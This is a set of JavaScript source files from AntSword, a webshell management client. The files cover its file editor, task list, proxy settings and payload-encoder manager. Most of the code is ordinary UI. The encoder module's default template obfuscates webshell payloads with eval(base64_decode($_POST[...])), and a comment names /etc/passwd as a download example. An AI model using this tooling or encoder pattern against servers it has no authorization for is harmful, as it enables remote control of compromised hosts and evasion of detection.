{\n      'php': 'php', 'c': 'c_cpp', 'cpp': 'c_cpp', 'h': 'c_cpp',\n      'coffee': 'coffee', 'cfm': 'coldfusion', 'css': 'css',\n      'go': 'golang', 'html': 'html', 'ini': 'ini', 'conf': 'ini',\n      'jade': 'jade', 'java': 'java', 'js': 'javascript', 'json': 'json',\n      'jsp': 'jsp', 'jsx': 'jsx', 'less': 'less', 'lua': 'lua', 'md': 'markdown',\n      'sql': 'sql', 'pl': 'perl', 'py': 'python', 'rb': 'ruby',\n      'sh': 'sh', 'txt': 'text', 'xml': 'xml'\n    }\n    if (!(ext in ext_dict)) { ext = 'txt' };\n    // 创建窗口工具栏\n    let toolbar = win.attachToolbar();\n    let _options = [];\n    for (let _ in ext_dict) {\n      let _ext = ext_dict[_];\n      let _opt = {\n        id: `mode_${_ext}`,\n        text: `${_ext} (.${_})`,\n        icon: 'code',\n        type: 'button'\n      };\n      (_ === ext) ? _opt['selected'] = true : 0;\n      _options.push(_opt);\n    }\n    toolbar.loadStruct([\n      { id: 'save', type: 'button', icon: 'save', text: LANG['editor']['toolbar']['save'] },\n      { type: 'separator' },\n      { type: 'spacer' },\n      {\n        id: 'encode', type: 'buttonSelect', icon: 'language', openAll: true,\n        text: LANG['editor']['toolbar']['encode'],\n        options: (() => {\n          let ret = [];\n          ENCODES.map((_) => {\n            let _opt_ = {\n              id: `encode_${_}`,\n              text: _,\n              icon: 'font',\n              type: 'button'\n            };\n            (_ === self.opts['encode'] ? _opt_['selected'] = true : 0);\n            ret.push(_opt_);\n          });\n          return ret;\n        })()\n      }, {\n        id: 'mode', type: 'buttonSelect', icon: 'th-list', openAll: true,\n        text: LANG['editor']['toolbar']['mode'],\n        options: _options\n      },\n    ]);\n    toolbar.attachEvent('onClick', (id) => {\n      if (id === 'save') {\n        // 保存代码\n        win.progressOn();\n        self.core.request(\n          self.core.filemanager.create_file({\n            path: path,\n            content: editor.session.getValue() || 'Halo ANT!'\n          })\n        ).then((res) => {\n          let ret = res['text'];\n          win.progressOff();\n          if (ret === '1') {\n            toastr.success(LANG['editor']['success'](path), LANG_T['success']);\n            // 刷新目录（显示更改时间、大小等）\n            self.files.refreshPath();\n          }else{\n            toastr.error(LANG['editor']['error'](path, ret === '0' ? '' : '<br/>' + ret), LANG_T['error']);\n          }\n        }).catch((err) => {\n\n        });\n      }else if (id.startsWith('mode_')) {\n        let mode = id.split('_')[1];\n        editor.session.setMode(`ace/mode/${mode}`);\n      }else if (id.startsWith('encode_')) {\n        let encode = id.split('_')[1];\n        editor.session.setValue(iconv.encode(codes, encode).toString());\n      }else{\n        console.info('toolbar.onClick', id);\n      }\n    });\n\n    // 获取文件代码\n    this.core.request(\n      this.core.filemanager.read_file({\n        path: path\n      })\n    ).then((res) => {\n      let ret = res['text'];\n      codes = ret;\n      win.progressOff();\n\n      // 初始化编辑器\n      editor = ace.edit(win.cell.lastChild);\n      editor.$blockScrolling = Infinity;\n      editor.setTheme('ace/theme/tomorrow');\n      editor.session.setMode(`ace/mode/${ext_dict[ext]}`);\n      editor.session.setUseWrapMode(true);\n      editor.session.setWrapLimitRange(null, null);\n\n      editor.setOptions({\n        fontSize: '14px',\n        enableBasicAutocompletion: true,\n        enableSnippets: true,\n        enableLiveAutocompletion: true\n      });\n      // 编辑器快捷键\n      editor.commands.addCommand({\n        name: 'save',\n        bindKey: {\n          win: 'Ctrl-S',\n          mac: 'Command-S'\n        },\n        exec: () => {\n          toolbar.callEvent('onClick', ['save']);\n        }\n      });\n\n      editor.session.setValue(ret);\n\n      // 定时刷新\n      const inter = setInterval(editor.resize.bind(editor), 200);\n      win.attachEvent('onClose', () => {\n        clearInterval(inter);\n        return true;\n      });\n    }).catch((err) => {\n      toastr.error(LANG['editor']['loadErr'](err), LANG_T['error']);\n      win.close();\n    });\n  }\n\n  // 创建窗口\n  createWin(opts) {\n    let _id = String(Math.random()).substr(5, 10);\n    // 默认配置\n    let opt = $.extend({\n        title: 'Window:' + _id,\n        width: 660,\n        height: 550\n    }, opts);\n\n    // 创建窗口\n    let _win = this.win.createWindow(_id, 0, 0, opt['width'], opt['height']);\n    _win.setText(opt['title']);\n    _win.centerOnScreen();\n    _win.button('minmax').show();\n    _win.button('minmax').enable();\n\n    // 返回窗口对象\n    return _win;\n  }\n\n}\n\n// export default FileManager;\nmodule.exports = FileManager;\n"
  },
  {
    "path": "antSword/source/modules/filemanager/tasks.js",
    "content": "//\n// 任务管理 模块\n//\n\n/*\n  用法：\n  const task = new Task('download', 'http://xx.com/path/to => /tmp/');\n  task.update('start download..');\n  task.update('100%');\n  task.end('download success!');\n*/\n\nconst LANG_T = antSword['language']['toastr'];\nconst LANG = antSword['language']['filemanager']['tasks'];\n\nclass Tasks {\n\n  constructor(cell, manager) {\n    cell.setText(`<i class=\"fa fa-tasks\"></i> ${LANG['title']}`);\n    cell.setHeight(250);\n    // 默认折叠panel\n    cell.collapse();\n\n    // 创建表格\n    let grid = cell.attachGrid();\n\n    grid.setHeader(`\n      ${LANG['grid']['header']['name']},\n      ${LANG['grid']['header']['desc']},\n      ${LANG['grid']['header']['status']},\n      ${LANG['grid']['header']['stime']},\n      ${LANG['grid']['header']['etime']}\n    `);\n    grid.setColTypes(\"ro,ro,ro,ro,ro\");\n    grid.setInitWidths(\"100,*,150,150,150\");\n    grid.setColAlign(\"left,left,left,left,left\");\n\n    grid.init();\n\n    this.grid = grid;\n    this.cell = cell;\n    this.manager = manager;\n  }\n\n  // const task = tasks.new('download', '/etc/passwd', '0%');\n  // task.update('20%');\n  // task.end('100%');\n  new(name, desc, progress) {\n    // 展开panel\n    this.cell.expand();\n    // 创建一个随机ID\n    const hash = String(+new Date() + Math.random()).replace('.', '_');\n    this.grid.addRow(\n      hash, [\n        antSword.noxss(name),\n        antSword.noxss(desc),\n        `<div id=\"filemanager_progress_${hash}\">-</div>`,\n        new Date().format('yyyy-MM-dd hh:mm:ss'),\n        `<div id=\"filemanager_end_time_${hash}\">-</div>`\n      ], 0\n    );\n    const API = {\n      // 更新任务状态\n      update: (progress) => {\n        $(`#filemanager_progress_${hash}`).text(progress);\n      },\n      // 任务结束\n      end: (progress) => {\n        $(`#filemanager_progress_${hash}`).text(progress || '100%');\n        $(`#filemanager_end_time_${hash}`).text(new Date().format('yyyy-MM-dd hh:mm:ss'));\n      },\n      // 任务成功\n      success: (progress) => {\n        API['end'](progress);\n        $(`#filemanager_progress_${hash}`).css('color', 'green');\n      },\n      // 任务失败\n      failed: (progress) => {\n        API['end'](progress);\n        $(`#filemanager_progress_${hash}`).css('color', 'red');\n      }\n    };\n    return API;\n  }\n\n}\n\n// export default Tasks;\nmodule.exports = Tasks;\n"
  },
  {
    "path": "antSword/source/modules/plugin/index.js",
    "content": "/**\n * 插件中心\n * 开写：2016/05/09\n * 更新：－\n * 作者：蚁逅 <https://github.com/antoor>\n */\n\n'use strict';\n\nconst path = global.require('path');\n\nclass Plugin {\n  constructor() {\n    // 注册菜单事件\n    antSword['menubar'].reg(\n      'plugin-store',\n      this.initWin.bind(this, 'ant-views://plugin.html')\n    );\n    this.win = null;\n  }\n\n  /**\n   * 初始化新窗口\n   * @param  {String} url 要加载的URL\n   * @return {Object}     BrowserWindow窗口对象\n   */\n  initWin(url) {\n    if (this.win) {\n      return this.win.focus();\n    }\n    let win = new antSword['remote'].BrowserWindow({\n      width: 930,\n      height: 666,\n      minWidth: 888,\n      minHeight: 555,\n      show: false,\n      title: 'AntSword.Store'\n    });\n    win.on('close', () => {\n      this.win = win = null;\n    });\n    win.loadURL(url);\n    win.show();\n    // win.openDevTools();\n    this.win = win;\n  }\n\n\n}\n\nmodule.exports = Plugin;\n"
  },
  {
    "path": "antSword/source/modules/settings/about.js",
    "content": "/**\n * 设置中心::关于\n */\n\nconst LANG = antSword['language']['settings']['about'];\n\nclass About {\n\n  constructor(sidebar) {\n    sidebar.addItem({\n      id: 'about',\n      selected: true,\n      text: `<i class=\"fa fa-heart-o\"></i> ${LANG['title']}`\n    });\n    const cell = sidebar.cells('about');\n    cell.attachHTMLString(`\n      <div align=\"center\" class=\"about\">\n        <img src=\"ant-static://imgs/logo.png\" />\n        <hr/>\n        <h2>${LANG['header']}<span> v${antSword['package']['version']}</span></h2>\n        <p>\n          <a href=\"https://github.com/AntSwordProject/AntSword\"><i class=\"fa fa-github-alt\"></i> GitHub</a> /\n          <a href=\"http://doc.u0u.us\"><i class=\"fa fa-book\"></i> ${LANG['document']}</a>\n        </p>\n      </div>\n    `);\n\n    // 在默认浏览器中打开链接\n    $('.about').on('click', 'a', function(e) {\n      e.preventDefault();\n      antSword['shell'].openExternal(this.href);\n    });\n  }\n\n}\n\nmodule.exports = About;\n"
  },
  {
    "path": "antSword/source/modules/settings/aproxy.js",
    "content": "//\n// 代理设置\n//\n\nconst LANG = antSword['language']['settings']['aproxy'];\nconst LANG_T = antSword['language']['toastr'];\n\nclass AProxy {\n\n  constructor(sidebar) {\n    sidebar.addItem({\n      id: 'aproxy',\n      text: `<i class=\"fa fa-paper-plane\"></i> ${LANG['title']}`\n    });\n    const cell = sidebar.cells('aproxy');\n    // 代理数据\n    const aproxymode = localStorage.getItem('aproxymode') || 'noproxy';\n    const aproxyprotocol = localStorage.getItem('aproxyprotocol') || 'http';\n    const aproxyserver = localStorage.getItem('aproxyserver');\n    const aproxyport = localStorage.getItem('aproxyport');\n    const aproxyusername = localStorage.getItem('aproxyusername');\n    const aproxypassword = localStorage.getItem('aproxypassword');\n\n    // 工具栏\n    const toolbar = cell.attachToolbar();\n    toolbar.loadStruct([\n      { id: 'save', type: 'button', text: LANG['toolbar']['save'], icon: 'save' },\n      { type: 'separator' },\n      { id: 'test', name: 'test', type: 'button', text: LANG['toolbar']['test'], icon: 'spinner', disabled: aproxymode === 'noproxy'}\n    ]);\n\n    // 表单\n    const form = cell.attachForm([\n      { type: 'settings', position: 'label-left', labelWidth: 150, inputWidth: 200 },\n      { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [\n        { type: 'label', label: LANG['form']['label'] },\n\n        { type: 'radio', position: 'label-right', label: LANG['form']['mode']['noproxy'], name: 'aproxymode', value: 'noproxy', checked: aproxymode === 'noproxy'},\n\n        { type: 'radio', position: 'label-right', label: LANG['form']['mode']['manualproxy'], name: 'aproxymode', value: 'manualproxy', checked: aproxymode === 'manualproxy' ,list:[\n          { type: 'combo',label: LANG['form']['proxy']['protocol'],readonly: true, name: 'protocol', options:[\n            { text: 'HTTP', value: 'http', selected: aproxyprotocol === 'http' },\n            { text: 'HTTPS', value: 'https', selected: aproxyprotocol === 'https' },\n            { text: 'SOCKS5', value: 'socks', selected: aproxyprotocol === 'socks' },\n            { text: 'SOCKS4', value: 'socks4', selected: aproxyprotocol === 'socks4' },\n          ]},\n          { type: 'input', label: LANG['form']['proxy']['server'], name: 'server', required: true, validate:\"NotEmpty\", value: aproxyserver},\n          { type: 'input', label: LANG['form']['proxy']['port'], name: 'port', required: true, validate:\"NotEmpty,ValidInteger\", value: aproxyport},\n          { type: 'input', label: LANG['form']['proxy']['username'], name: 'username', value: aproxyusername},\n          { type: 'password', label: LANG['form']['proxy']['password'], name: 'password', value:aproxypassword }\n        ]}\n      ]}\n    ], true);\n    form.enableLiveValidation(true);\n    form.attachEvent(\"onChange\", function(name, value, is_checked){\n      if (name == \"aproxymode\") {\n        if (value == \"manualproxy\") {\n          toolbar.enableItem('test');\n        }else{\n          toolbar.disableItem('test');\n        }\n      }\n    });\n    // 工具栏点击事件\n    toolbar.attachEvent('onClick', (id) => {\n      switch(id) {\n        case 'save':\n          if(form.validate()){\n            var formvals = form.getValues();\n            const aproxymode = formvals['aproxymode'];\n            // 保存设置\n            localStorage.setItem('aproxymode', aproxymode);\n            localStorage.setItem('aproxyprotocol', formvals['protocol']);\n            localStorage.setItem('aproxyserver', formvals['server'].replace(/.+:\\/\\//, '').replace(/:.+/, ''));\n            localStorage.setItem('aproxyport', formvals['port']);\n            localStorage.setItem('aproxyusername', formvals['username']);\n            localStorage.setItem('aproxypassword', formvals['password']);\n\n            toastr.success(LANG['success'], LANG_T['success']);\n            // 重启应用\n            layer.confirm(LANG['confirm']['content'], {\n              icon: 2, shift: 6,\n              title: LANG['confirm']['title']\n            }, (_) => {\n              location.reload();\n            });\n          }else{\n            toastr.error(LANG['error'], LANG_T['error']);\n          }\n          break;\n        case 'test':\n          if(form.validate()){\n            layer.prompt({\n              title: LANG['prompt']['title'],\n              value: 'http://uyu.us',\n              formType: 0\n            }, function(testurl, index){\n              layer.close(index);\n              var loadindex = layer.load(2, {time: 6*1000});\n              var _formvals = form.getValues();\n              var _server = _formvals['server'].replace(/.+:\\/\\//, '').replace(/:.+/, '');\n              var _aproxyauth = \"\";\n              if (_formvals['username'] == \"\" || _formvals['password'] == \"\" || _formvals['username'] == null || _formvals['password'] == null) {\n                _aproxyauth = \"\";\n              }else{\n                _aproxyauth = _formvals['username'] + \":\" + _formvals['password'];\n              }\n              var _aproxyuri = _formvals['protocol'] + '://' + _aproxyauth + '@' +_server + ':' + _formvals['port'];\n              var hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_');\n\n              antSword['ipcRenderer']\n              .on(`aproxytest-error-${hash}`, (event, err) => {\n                layer.close(loadindex);\n                toastr.error(LANG['prompt']['error']+ \"\\n\" + err['code'], LANG_T['error']);\n              })\n              .on(`aproxytest-success-${hash}`, (event, ret) => {\n                layer.close(loadindex);\n                toastr.success(LANG['prompt']['success'], LANG_T['success']);\n              })\n              .send('aproxytest',{\n                hash: hash,\n                url: testurl || 'http://uyu.us',\n                aproxyuri: _aproxyuri\n              });\n            });\n          }\n          break;\n      }\n    });\n  }\n}\n\nmodule.exports = AProxy;\n"
  },
  {
    "path": "antSword/source/modules/settings/display.js",
    "content": "/**\n * 设置中心::界面\n */\n\nconst LANG = antSword['language']['settings']['display'];\nconst LANG_T = antSword['language']['toastr'];\n\nclass Display {\n\n  constructor(sidebar) {\n    sidebar.addItem({\n      id: 'display',\n      text: `<i class=\"fa fa-television\"></i> ${LANG['title']}`\n    });\n    const cell = sidebar.cells('display');\n\n    const display_shellmanager_hiddencolumns = localStorage.hasOwnProperty('display_shellmanager_hiddencolumns') ? JSON.parse(localStorage.display_shellmanager_hiddencolumns):[];\n\n    const toolbar = cell.attachToolbar();\n    toolbar.loadStruct([\n      { id: 'save', type: 'button', text: LANG['toolbar']['save'], icon: 'save' }\n    ]);\n    // 表单\n    const form = cell.attachForm([{\n      type: 'block', name: 'shellmanager', list: [\n        {type: \"label\", label: LANG['form']['shellmanager']['title']}\n      ]}\n    ]);\n\n    const LANG_HC = LANG['form']['shellmanager']['hiddencolumns'];\n    // 数据管理隐藏列\n    form.addItem(\n      'shellmanager',\n      {\n        type: \"fieldset\", label: LANG_HC['title'], list:[\n          { type: \"block\", list: [\n            {\n            type: \"checkbox\", label: LANG_HC['url'], name: 'hidden_columns[0]', checked: display_shellmanager_hiddencolumns.indexOf(0) != -1 , position: \"label-right\", value: 1, disabled: true\n            },\n            {type: 'newcolumn', offset:20},\n            {\n              type: \"checkbox\", label: LANG_HC['ip'], name: 'hidden_columns[1]', checked: display_shellmanager_hiddencolumns.indexOf(1) != -1 , position: \"label-right\", value: 2\n            },\n            {type: 'newcolumn', offset:20},\n            {\n              type: \"checkbox\", label: LANG_HC['addr'], name: 'hidden_columns[2]', checked: display_shellmanager_hiddencolumns.indexOf(2) != -1 , position: \"label-right\", value: 3\n            },\n            {type: 'newcolumn', offset:20},\n            {\n              type: \"checkbox\", label: LANG_HC['note'], name: 'hidden_columns[3]', checked: display_shellmanager_hiddencolumns.indexOf(3) != -1 , position: \"label-right\", value: 4\n            },\n            {type: 'newcolumn', offset:20},\n            {\n              type: \"checkbox\", label: LANG_HC['ctime'], name: 'hidden_columns[4]', checked: display_shellmanager_hiddencolumns.indexOf(4) != -1 , position: \"label-right\", value: 5\n            },\n            {type: 'newcolumn', offset:20},\n            {\n              type: \"checkbox\", label: LANG_HC['utime'], name: 'hidden_columns[5]', checked: display_shellmanager_hiddencolumns.indexOf(5) != -1 , position: \"label-right\", value: 6\n            }\n          ]}\n        ]\n      }\n    );\n\n    // 保存\n    toolbar.attachEvent('onClick', (id) => {\n      switch(id){\n        case 'save':\n          var _formvals = form.getValues();\n          var _display_shellmanager_hiddencolumns = [];\n          for (var i = 0; i < 6; i++) {\n            var data = _formvals['hidden_columns['+i+']'];\n            if (data) {\n              _display_shellmanager_hiddencolumns.push(data-1);\n            }\n          }\n          localStorage.setItem('display_shellmanager_hiddencolumns', JSON.stringify(_display_shellmanager_hiddencolumns));\n          toastr.success(LANG['success'], LANG_T['success']);\n          // 重启应用\n          layer.confirm(LANG['confirm']['content'], {\n            icon: 2, shift: 6,\n            title: LANG['confirm']['title']\n          }, (_) => {\n            location.reload();\n          });\n          break;\n      }\n    });\n  }\n\n}\n\nmodule.exports = Display;\n"
  },
  {
    "path": "antSword/source/modules/settings/encoders.js",
    "content": "/**\n * 中国蚁剑::编码器管理\n * 创建：2017-05-30\n * 更新：2018-08-19\n * 作者：Virink <virink@outlook.com>\n * 作者：Medici.Yan <Medici.Yan@gmail.com>\n */\n\nconst LANG = antSword['language']['settings']['encoders'];\nconst LANG_T = antSword['language']['toastr'];\nconst fs = require('fs');\nconst path = require('path');\nconst WIN = require(\"../../ui/window\");\n\nclass Encoders {\n\n  constructor(sidebar) {\n    var that = this;\n    this.encoders = antSword[\"encoders\"];\n\n    sidebar.addItem({\n      id: 'encoders',\n      text: `<i class=\"fa fa-file-code-o\"></i> ${LANG['title']}`\n    });\n\n    that.cell = sidebar.cells('encoders');\n    const toolbar = that.cell.attachToolbar();\n\n    toolbar.loadStruct([\n      { type: 'buttonSelect', text: LANG['toolbar']['new'], icon: 'plus-circle', id: 'new', openAll: true,\n      options: [\n        { id: 'new_asp',  icon: 'file-code-o', type: 'button', text: \"ASP\" },\n        { id: 'new_aspx', icon: 'file-code-o', type: 'button', text: \"ASPX\"},\n        { id: 'new_php',  icon: 'file-code-o', type: 'button', text: \"PHP\"},\n        { type: 'separator' },\n        { id: 'new_custom', icon: 'file-code-o', type: 'button', text: \"Custom\"}\n      ]},\n      { type: 'separator' },\n      { type: 'button', text: LANG['toolbar']['edit'], icon: 'fa fa-edit', id: 'edit' },\n      { type: 'button', text: LANG['toolbar']['delete'], icon: 'fa fa-trash-o', id: 'delete' },\n    ]);\n\n    toolbar.attachEvent(\"onClick\", (id)=>{\n      switch(id) {\n        case \"new_asp\":\n        that.createEncoder(\"asp\");\n        break;\n        case \"new_aspx\":\n        that.createEncoder(\"aspx\");\n        break;\n        case \"new_php\":\n        that.createEncoder(\"php\");\n        break;\n        case \"new_custom\":\n        that.createEncoder(\"custom\");\n        break;\n        case \"edit\":\n        that.editEncoder();\n        break;\n        case \"delete\":\n        that.deleteEncoder();\n        break;\n      }\n    });\n\n    let grid = that.cell.attachGrid();\n    grid.setHeader(`\n      &nbsp;,\n      ${LANG['grid']['ename']},\n      ${LANG['grid']['etype']}\n    `);\n    grid.setColTypes(\"ro,edtxt,coro\");\n    grid.setColSorting('str,str,str');\n    grid.setInitWidths(\"40,*,150\");\n    grid.setColAlign(\"center,left,center\");\n    grid.enableMultiselect(true);\n    var combobox = grid.getCombo(2);\n    combobox.put(\"asp\",\"ASP\");\n    combobox.put(\"aspx\",\"ASPX\");\n    combobox.put(\"php\",\"PHP\");\n    combobox.put(\"custom\",\"CUSTOM\");\n    \n    grid.attachEvent(\"onEditCell\", function(stage,rId,cInd,nValue,oValue){\n      // 2 编辑完成\n      if(stage === 2) {\n        nValue = nValue.toLocaleLowerCase();\n        oValue = oValue.toLocaleLowerCase();\n        if(nValue === oValue){return;}\n        var oename = grid.getRowAttribute(rId, \"ename\");\n        var oepath = grid.getRowAttribute(rId, \"epath\");\n        var oetype = grid.getRowAttribute(rId, \"etype\");\n        oepath = oepath+\".js\";\n        switch(cInd){\n          case 1:\n          // name\n          if(!nValue.match(/^[a-zA-Z0-9_]+$/)){\n            toastr.error(LANG[\"message\"][\"ename_invalid\"],LANG_T['error']);\n            return\n          }\n          if(that._checkname(nValue, oetype)){\n            toastr.error(LANG['message']['ename_duplicate'], LANG_T['error']);\n            return;\n          }\n          fs.renameSync(oepath, path.join(process.env.AS_WORKDIR, `antData/encoders/${oetype}/encoder/${nValue}.js`));\n          toastr.success(LANG['message'][\"rename_success\"],LANG_T[\"success\"]);\n          break\n          case 2:\n          // type\n          if(nValue != \"asp\" && nValue != \"aspx\" && nValue != \"php\" && nValue != \"custom\") {\n            toastr.error(LANG['message'][\"etype_error\"], LANG_T['error']);\n            return\n          }\n          if(that._checkname(oename, nValue)){\n            toastr.error(LANG['message']['ename_duplicate'], LANG_T['error']);\n            return;\n          }\n          fs.renameSync(oepath, path.join(process.env.AS_WORKDIR, `antData/encoders/${nValue}/encoder/${oename}.js`));\n          toastr.success(LANG['message'][\"retype_success\"],LANG_T[\"success\"]);\n          break\n        }\n        that.syncencoders();\n      }\n    });\n    grid.init();\n    \n    that.grid = grid;\n\n    that.parseData();\n  }\n  \n  // 创建新的编码器\n  createEncoder(t) {\n    let self = this;\n    layer.prompt({\n      value: `myencoder`,\n      title: `<i class=\"fa fa-file-code-o\"></i> ${LANG[\"prompt\"][\"create_encoder\"]}`\n    },(value, i, e) => {\n      value = value.toLocaleLowerCase();\n      if(!value.match(/^[a-zA-Z0-9_]+$/)){\n        toastr.error(LANG[\"message\"][\"ename_invalid\"],LANG_T['error']);\n        return\n      }\n      if(self._checkname(value, t)){\n        toastr.error(LANG[\"message\"][\"ename_duplicate\"] ,LANG_T['error']);\n        layer.close(i);\n        return\n      }\n      let savePath= path.join(process.env.AS_WORKDIR,`antData/encoders/${t}/encoder/${value}.js`);\n\n      fs.writeFileSync(savePath, self.default_template);\n\n      var ids = self.grid.getAllRowIds();\n      let _id = 1;\n      if(ids.length > 0){\n        _id = parseInt(ids[ids.length-1]);\n      }\n      _id ++;\n      self.grid.addRow(_id, `${_id},${antSword.noxss(value)},${t}`);\n      toastr.success(LANG[\"message\"][\"create_success\"], LANG_T[\"success\"]);\n      self.cell.progressOff();\n      layer.close(i);\n      self.syncencoders();\n    });\n  }\n\n  // 编辑选中的编码器代码\n  editEncoder() {\n    let self = this;\n    // 获取选中ID列表\n    let ids = self.grid.getSelectedId();\n    if(!ids){\n      toastr.warning(LANG[\"message\"][\"edit_not_select\"], LANG_T[\"warning\"]);\n      return\n    }\n    let _ids = ids.split(\",\");\n    if (_ids.length !== 1) {\n      toastr.warning(LANG[\"message\"][\"edit_only_single\"], LANG_T[\"warning\"]);\n      return\n    }\n    let _id = _ids[0];\n\n    const ename = self.grid.getRowAttribute(_id, 'ename');\n    const epath = self.grid.getRowAttribute(_id, 'epath');\n    let buff = fs.readFileSync(epath+\".js\");\n    let opt = {\n      title: `${LANG[\"edit_win_title\"]}: ${ename}`,\n      width: 800,\n      height: 600,\n    };\n    let _win = new WIN(opt);\n    _win.win.centerOnScreen();\n    _win.win.button('minmax').show();\n    _win.win.button('minmax').enable();\n    // _win.win.maximize();\n    let toolbar = _win.win.attachToolbar();\n    toolbar.loadStruct([\n      { id: 'save', type: 'button', icon: 'save', text: LANG[\"toolbar\"]['save'] },\n      { type: 'separator' },\n    ]);\n    toolbar.attachEvent('onClick', (id) => {\n      if (id === 'save') {\n        // 保存代码\n        let saveData = editor.session.getValue();\n        if(!saveData){\n          toastr.warning(LANG[\"message\"][\"edit_null_value\"],LANG_T[\"warning\"]);\n          return\n        }\n        fs.writeFileSync(epath+\".js\", saveData);\n        toastr.success(LANG[\"message\"][\"edit_save_success\"], LANG_T[\"success\"]);\n      }\n    });\n\n    // 创建编辑器\n    let editor = ace.edit(_win.win.cell.lastChild);\n    editor.$blockScrolling = Infinity;\n    editor.setTheme('ace/theme/tomorrow');\n    editor.session.setMode(`ace/mode/javascript`);\n    editor.session.setUseWrapMode(true);\n    editor.session.setWrapLimitRange(null, null);\n    editor.setOptions({\n      fontSize: '14px',\n      enableBasicAutocompletion: true,\n      enableSnippets: true,\n      enableLiveAutocompletion: true\n    });\n    // 编辑器快捷键\n    editor.commands.addCommand({\n      name: 'save',\n      bindKey: {\n        win: 'Ctrl-S',\n        mac: 'Command-S'\n      },\n      exec: () => {\n        toolbar.callEvent('onClick', ['save']);\n      }\n    });\n\n    editor.session.setValue(buff.toString());\n    // 定时刷新\n    const inter = setInterval(editor.resize.bind(editor), 200);\n    _win.win.attachEvent('onClose', () => {\n      self.syncencoders();\n      clearInterval(inter);\n      return true;\n    });\n  }\n\n  deleteEncoder() {\n    let self = this;\n    // 获取选中ID列表\n    let ids = self.grid.getSelectedId();\n    if(!ids){\n      toastr.warning(LANG[\"message\"][\"delete_not_select\"], LANG_T[\"warning\"]);\n      return\n    }\n    let _ids = ids.split(\",\");\n    layer.confirm(`${LANG['confirm']['delete'](_ids.length==1?self.grid.getRowAttribute(_ids[0],\"ename\"): _ids.length)}`,\n    {\n      icon: 2,\n      shift: 6,\n      title: `<i class=\"fa fa-trash\"></i> ${LANG[\"delete_title\"]}`,\n    },(_)=>{\n      layer.close(_);\n      _ids.map((_id)=>{\n        var ename = self.grid.getRowAttribute(_id, 'ename');\n        var epath = self.grid.getRowAttribute(_id, 'epath');\n        fs.unlink(epath+\".js\");\n      });\n      toastr.success(LANG[\"message\"][\"delete_success\"], LANG_T[\"success\"]);\n      self.syncencoders();\n    });\n  }\n  get default_template() {\n    return `/**\n * php::base64编码器\n * Create at: ${new Date().format(\"yyyy/MM/dd hh:mm:ss\")}\n */\n\n\\'use strict\\';\n\n/*\n* @param  {String} pwd   连接密码\n* @param  {Array}  data  编码器处理前的 payload 数组\n* @return {Array}  data  编码器处理后的 payload 数组\n*/\nmodule.exports = (pwd, data) => {\n  // ##########    请在下方编写你自己的代码   ###################\n  // 以下代码为 PHP Base64 样例\n\n  // 生成一个随机变量名\n  let randomID = \\`_0x\\${Math.random().toString(16).substr(2)}\\`;\n  // 原有的 payload 在 data['_']中\n  // 取出来之后，转为 base64 编码并放入 randomID key 下\n  data[randomID] = new Buffer(data['_']).toString('base64');\n\n  // shell 在接收到 payload 后，先处理 pwd 参数下的内容，\n  data[pwd] = \\`eval(base64_decode($_POST[\\${randomID}]));\\`;\n\n  // ##########    请在上方编写你自己的代码   ###################\n\n  // 删除 _ 原有的payload\n  delete data['_'];\n  // 返回编码器处理后的 payload 数组\n  return data;\n}`;\n  }\n  // 检查 name 是否重复\n  _checkname(name,t) {\n    let tstr = ',' + antSword['encoders'][t].join(',')+',';\n    return tstr.indexOf(\",\"+name+\",\")!=-1;\n  }\n  // 解析数据\n  parseData() {\n    let data = [];\n    let self = this;\n    let _id = 1;\n\n    Object.keys(self.encoders).map((t) => {\n      self.encoders[t].map( _ => {\n        data.push({\n          id: _id,\n          ename: _,\n          epath: path.join(process.env.AS_WORKDIR, `antData/encoders/${t}/encoder/${_}`),\n          etype: t,\n          data: [\n            `<i class=\"fa fa-file-code-o\"></i>`,\n            antSword.noxss(_),\n            t\n          ]\n        });\n        _id++;\n      });\n    });\n\n    self.grid.clearAll();\n    self.grid.parse({\n      'rows': data\n  }, 'json');\n  }\n\n  // 同步到全局编码器\n  syncencoders() {\n    antSword['encoders'] = (function(){\n      var encoders = {asp:[],aspx:[],php:[],custom:[]};\n      var encoders_path = {asp:[],aspx:[],php:[],custom:[]};\n      let userencoder_path = path.join(process.env.AS_WORKDIR,'antData/encoders');\n      // 初始化\n      !fs.existsSync(userencoder_path) ? fs.mkdirSync(userencoder_path) : null;\n      ['asp','aspx','php','custom'].map((t)=>{\n        !fs.existsSync(path.join(userencoder_path, `${t}`))? fs.mkdirSync(path.join(userencoder_path, `${t}`)):null;\n        let t_path = path.join(userencoder_path, `${t}/encoder/`);\n        !fs.existsSync(t_path) ? fs.mkdirSync(t_path) : null;\n    \n        let es = fs.readdirSync(t_path);\n        if(es){\n          es.map((_)=>{\n            if(!_.endsWith(\".js\")){\n              return\n            }\n            encoders[t].push(_.slice(0,-3));\n            encoders_path[t].push(path.join(t_path, _.slice(0,-3)));\n          });\n        }\n        antSword[\"core\"][t].prototype.user_encoders = encoders_path[t];\n      });\n      return encoders;\n    })();\n    this.encoders=antSword[\"encoders\"];\n    this.parseData();\n  }\n}\n\nmodule.exports = Encoders;\n"
  },
  {
    "path": "antSword/source/modules/settings/index.js",
    "content": "//\n// 设置模块\n//\n\n// import About from './about';\n// import Update from './update';\n// import Language from './language';\n// import AProxy from './aproxy'\nconst About = require('./about');\n// const Update = require('./update');\nconst Language = require('./language');\nconst AProxy = require('./aproxy');\nconst Display = require('./display');\nconst Encoders = require('./encoders');\n\nclass Settings {\n\n  constructor() {\n    antSword['menubar'].reg('settings', this.open.bind(this));\n    ['about', 'update', 'language', 'aproxy','display', 'encoders'].map((_) => {\n      antSword['menubar'].reg(`settings-${_}`, this.setActive.bind(this, _));\n    });\n    return this;\n  }\n\n  open() {\n    const tabbar = antSword['tabbar'];\n    // 判断是否已经打开\n    if (tabbar.tabs('tab_about')) {\n      return tabbar.tabs('tab_about').setActive();\n    };\n    tabbar.addTab(\n      'tab_about',\n      '<i class=\"fa fa-cog\"></i>',\n      null, null, true, true\n    );\n    const cell = tabbar.tabs('tab_about');\n\n    const sidebar = cell.attachSidebar({\n      template: 'text',\n      width: 200\n    });\n    this.about = new About(sidebar);\n    this.language = new Language(sidebar);\n    // this.update = new Update(sidebar);\n    this.aproxy = new AProxy(sidebar);\n    this.display = new Display(sidebar);\n    // Encoders\n    this.encoders = new Encoders(sidebar);\n    this.cell = cell;\n    this.sidebar = sidebar;\n\n  }\n\n  // @设置当前激活项\n  setActive(id) {\n    this.open();\n    this.sidebar.items(id).setActive();\n  